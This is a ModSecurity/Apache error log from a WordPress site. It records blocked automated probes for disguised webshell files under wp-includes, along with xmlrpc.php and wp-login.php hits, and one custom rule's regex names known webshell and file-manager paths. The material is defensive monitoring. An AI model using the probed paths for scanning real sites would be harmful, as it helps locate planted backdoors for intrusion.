[Wed Apr 22 21:01:01.349212 2026] [:error] [pid 6344:tid 6360] [client 45.86.202.27:42617] [client 45.86.202.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aejGjUDOTF-pkQnDeUnyyAAAAAs"]
[Wed Apr 22 21:01:14.469535 2026] [:error] [pid 6344:tid 6351] [client 45.86.202.29:54951] [client 45.86.202.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/atomlib.php"] [unique_id "aejGmkDOTF-pkQnDeUny2AAAAAI"]
[Wed Apr 22 21:01:15.637276 2026] [:error] [pid 9085:tid 9103] [client 45.86.202.49:46999] [client 45.86.202.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aejGm9-_-or9vQnlWnpxeQAAAVA"]
[Wed Apr 22 21:01:22.174690 2026] [:error] [pid 6384:tid 6400] [client 45.86.202.36:61231] [client 45.86.202.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/index.php"] [unique_id "aejGoj58M3t15ICeWHVAhwAAAM0"]
[Wed Apr 22 21:01:23.122903 2026] [:error] [pid 9085:tid 9102] [client 45.86.202.20:31275] [client 45.86.202.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aejGo9-_-or9vQnlWnpxjwAAAU8"]
[Wed Apr 22 21:01:23.767892 2026] [:error] [pid 9085:tid 9090] [client 45.86.202.27:31257] [client 45.86.202.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aejGo9-_-or9vQnlWnpxkQAAAUM"]
[Wed Apr 22 21:01:31.523583 2026] [:error] [pid 9085:tid 9092] [client 45.86.202.219:38105] [client 45.86.202.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aejGq9-_-or9vQnlWnpxowAAAUU"]
[Wed Apr 22 21:01:34.584182 2026] [:error] [pid 6384:tid 6398] [client 45.86.202.32:45957] [client 45.86.202.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aejGrj58M3t15ICeWHVAjAAAAMs"]
[Wed Apr 22 21:01:37.649177 2026] [:error] [pid 9085:tid 9107] [client 173.244.56.150:24057] [client 173.244.56.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.244.56.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejGsd-_-or9vQnlWnpxsQAAAVQ"]
[Wed Apr 22 21:01:45.012515 2026] [:error] [pid 6344:tid 6366] [client 45.86.202.15:61513] [client 45.86.202.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.15, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/js/wp-login.php"] [unique_id "aejGuUDOTF-pkQnDeUnzRAAAABE"]
[Wed Apr 22 21:01:47.591276 2026] [:error] [pid 9085:tid 9094] [client 173.244.56.150:15711] [client 173.244.56.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.244.56.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejGu9-_-or9vQnlWnpx4wAAAUc"]
[Wed Apr 22 21:01:52.594422 2026] [:error] [pid 6344:tid 6353] [client 45.86.202.15:61513] [client 45.86.202.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.15, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aejGwEDOTF-pkQnDeUnzWgAAAAQ"]
[Wed Apr 22 21:01:58.273570 2026] [:error] [pid 6344:tid 6360] [client 173.244.56.150:20611] [client 173.244.56.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.244.56.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejGxkDOTF-pkQnDeUnzbAAAAAs"]
[Wed Apr 22 21:02:07.338358 2026] [proxy_fcgi:error] [pid 6344:tid 6363] [client 45.86.202.15:61513] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 21:02:08.806680 2026] [:error] [pid 23776:tid 23781] [client 173.244.56.150:45511] [client 173.244.56.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.244.56.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejG0LRExf-1pAbSeJvzZgAAAYM"]
[Wed Apr 22 21:02:19.588898 2026] [:error] [pid 9085:tid 9105] [client 173.244.56.150:13226] [client 173.244.56.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.244.56.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejG29-_-or9vQnlWnpyBgAAAVI"]
[Wed Apr 22 21:02:26.575954 2026] [:error] [pid 6344:tid 6351] [client 45.86.202.15:61513] [client 45.86.202.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/about.php"] [unique_id "aejG4kDOTF-pkQnDeUnzkQAAAAI"]
[Wed Apr 22 21:02:31.788029 2026] [:error] [pid 23776:tid 23799] [client 45.86.202.43:65057] [client 45.86.202.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aejG57RExf-1pAbSeJvzjgAAAZU"]
[Wed Apr 22 21:02:35.695743 2026] [:error] [pid 23776:tid 23792] [client 45.86.202.25:48397] [client 45.86.202.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aejG67RExf-1pAbSeJvznwAAAY4"]
[Wed Apr 22 21:02:48.031549 2026] [:error] [pid 6384:tid 6409] [client 45.86.202.26:61109] [client 45.86.202.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aejG-D58M3t15ICeWHVBXgAAANY"]
[Wed Apr 22 21:02:51.617259 2026] [:error] [pid 6250:tid 6254] [client 45.86.202.16:33931] [client 45.86.202.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aejG-w-iZeQkqmQVfj4QIgAAAEA"]
[Wed Apr 22 21:02:52.317214 2026] [:error] [pid 6384:tid 6391] [client 106.219.120.144:31832] [client 106.219.120.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.120.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejG_D58M3t15ICeWHVBZAAAAMQ"]
[Wed Apr 22 21:02:53.948612 2026] [:error] [pid 6384:tid 6406] [client 45.86.202.19:44373] [client 45.86.202.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aejG_T58M3t15ICeWHVBaAAAANM"]
[Wed Apr 22 21:03:00.034300 2026] [proxy_fcgi:error] [pid 6251:tid 6302] [client 45.86.202.41:51599] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 21:03:00.368884 2026] [proxy_fcgi:error] [pid 6251:tid 6296] [client 45.86.202.41:51599] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 21:03:00.688561 2026] [:error] [pid 6251:tid 6305] [client 45.86.202.41:51599] [client 45.86.202.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aejHBCsFAzbyObL-SQ5_igAAAJQ"]
[Wed Apr 22 21:03:01.550440 2026] [:error] [pid 9085:tid 9101] [client 106.219.120.144:13641] [client 106.219.120.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.120.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejHBd-_-or9vQnlWnpyNwAAAU4"]
[Wed Apr 22 21:03:02.269152 2026] [:error] [pid 6384:tid 6394] [client 45.86.202.18:46163] [client 45.86.202.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aejHBj58M3t15ICeWHVBeQAAAMc"]
[Wed Apr 22 21:03:12.151646 2026] [:error] [pid 6344:tid 6357] [client 45.86.202.48:31299] [client 45.86.202.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aejHEEDOTF-pkQnDeUnzqwAAAAg"]
[Wed Apr 22 21:03:14.435479 2026] [:error] [pid 6250:tid 6256] [client 45.86.202.34:43605] [client 45.86.202.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "aejHEg-iZeQkqmQVfj4QTQAAAEI"]
[Wed Apr 22 21:03:15.200935 2026] [:error] [pid 6250:tid 6255] [client 106.219.120.144:1632] [client 106.219.120.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.120.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejHEw-iZeQkqmQVfj4QUgAAAEE"]
[Wed Apr 22 21:03:19.293772 2026] [:error] [pid 6251:tid 6305] [client 45.86.202.218:37097] [client 45.86.202.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aejHFysFAzbyObL-SQ5_lQAAAJQ"]
[Wed Apr 22 21:03:22.650644 2026] [:error] [pid 6251:tid 6287] [client 106.219.120.144:2740] [client 106.219.120.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.120.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejHGisFAzbyObL-SQ5_lwAAAII"]
[Wed Apr 22 21:03:29.520777 2026] [:error] [pid 6384:tid 6399] [client 45.86.202.34:55367] [client 45.86.202.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aejHIT58M3t15ICeWHVBkQAAAMw"]
[Wed Apr 22 21:03:30.389636 2026] [proxy_fcgi:error] [pid 6344:tid 6368] [client 45.86.202.2:41281] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 21:03:33.230797 2026] [:error] [pid 23776:tid 23799] [client 106.219.120.144:12781] [client 106.219.120.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.120.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejHJbRExf-1pAbSeJvz9wAAAZU"]
[Wed Apr 22 21:03:34.826166 2026] [:error] [pid 6344:tid 6365] [client 45.86.202.2:41281] [client 45.86.202.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aejHJkDOTF-pkQnDeUnzugAAABA"]
[Wed Apr 22 21:03:41.953075 2026] [proxy_fcgi:error] [pid 23776:tid 23781] [client 45.86.202.1:48233] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 21:03:43.413233 2026] [:error] [pid 23776:tid 23790] [client 45.86.202.1:48233] [client 45.86.202.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aejHL7RExf-1pAbSeJv0FgAAAYw"]
[Wed Apr 22 21:03:49.519227 2026] [:error] [pid 23776:tid 23791] [client 45.86.202.1:48233] [client 45.86.202.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aejHNbRExf-1pAbSeJv0KQAAAY0"]
[Wed Apr 22 21:03:51.911549 2026] [:error] [pid 6384:tid 6410] [client 45.86.202.35:41747] [client 45.86.202.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aejHNz58M3t15ICeWHVBpAAAANc"]
[Wed Apr 22 21:03:56.879060 2026] [:error] [pid 6384:tid 6405] [client 45.86.202.18:50205] [client 45.86.202.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aejHPD58M3t15ICeWHVBsAAAANI"]
[Wed Apr 22 21:04:01.759389 2026] [:error] [pid 9085:tid 9098] [client 45.86.202.11:48019] [client 45.86.202.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aejHQd-_-or9vQnlWnpyyAAAAUs"]
[Wed Apr 22 21:04:02.316583 2026] [:error] [pid 6384:tid 6409] [client 45.86.202.7:26149] [client 45.86.202.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aejHQj58M3t15ICeWHVBtQAAANY"]
[Wed Apr 22 21:04:07.007736 2026] [:error] [pid 9085:tid 9105] [client 45.86.202.18:34379] [client 45.86.202.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aejHR9-_-or9vQnlWnpy0gAAAVI"]
[Wed Apr 22 21:04:10.719408 2026] [proxy_fcgi:error] [pid 9085:tid 9106] [client 45.86.202.44:37713] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 21:04:11.026040 2026] [:error] [pid 9085:tid 9091] [client 45.86.202.44:37713] [client 45.86.202.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aejHS9-_-or9vQnlWnpy3gAAAUQ"]
[Wed Apr 22 21:04:13.566340 2026] [:error] [pid 6384:tid 6398] [client 45.86.202.40:57869] [client 45.86.202.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/db.php"] [unique_id "aejHTT58M3t15ICeWHVBvQAAAMs"]
[Wed Apr 22 21:04:14.561467 2026] [:error] [pid 6384:tid 6396] [client 45.86.202.5:21669] [client 45.86.202.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aejHTj58M3t15ICeWHVBvwAAAMk"]
[Wed Apr 22 21:04:15.209495 2026] [:error] [pid 9085:tid 9097] [client 45.86.202.28:50315] [client 45.86.202.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aejHT9-_-or9vQnlWnpy4QAAAUo"]
[Wed Apr 22 21:04:15.764895 2026] [:error] [pid 6252:tid 6323] [client 45.86.202.44:22211] [client 45.86.202.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aejHT-tGYuiYb1nWBpRROgAAAQs"]
[Wed Apr 22 21:04:16.312949 2026] [:error] [pid 23776:tid 23781] [client 45.86.202.25:46503] [client 45.86.202.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aejHULRExf-1pAbSeJv0WAAAAYM"]
[Wed Apr 22 21:04:16.860284 2026] [:error] [pid 23776:tid 23799] [client 45.86.202.28:34059] [client 45.86.202.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aejHULRExf-1pAbSeJv0WQAAAZU"]
[Wed Apr 22 21:04:21.444001 2026] [:error] [pid 23776:tid 23802] [client 45.86.202.45:25487] [client 45.86.202.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aejHVbRExf-1pAbSeJv0YAAAAZg"]
[Wed Apr 22 21:04:22.035030 2026] [:error] [pid 23776:tid 23781] [client 45.86.202.16:22885] [client 45.86.202.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aejHVrRExf-1pAbSeJv0YQAAAYM"]
[Wed Apr 22 21:04:22.630724 2026] [:error] [pid 9085:tid 9107] [client 45.86.202.41:36909] [client 45.86.202.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aejHVt-_-or9vQnlWnpy7gAAAVQ"]
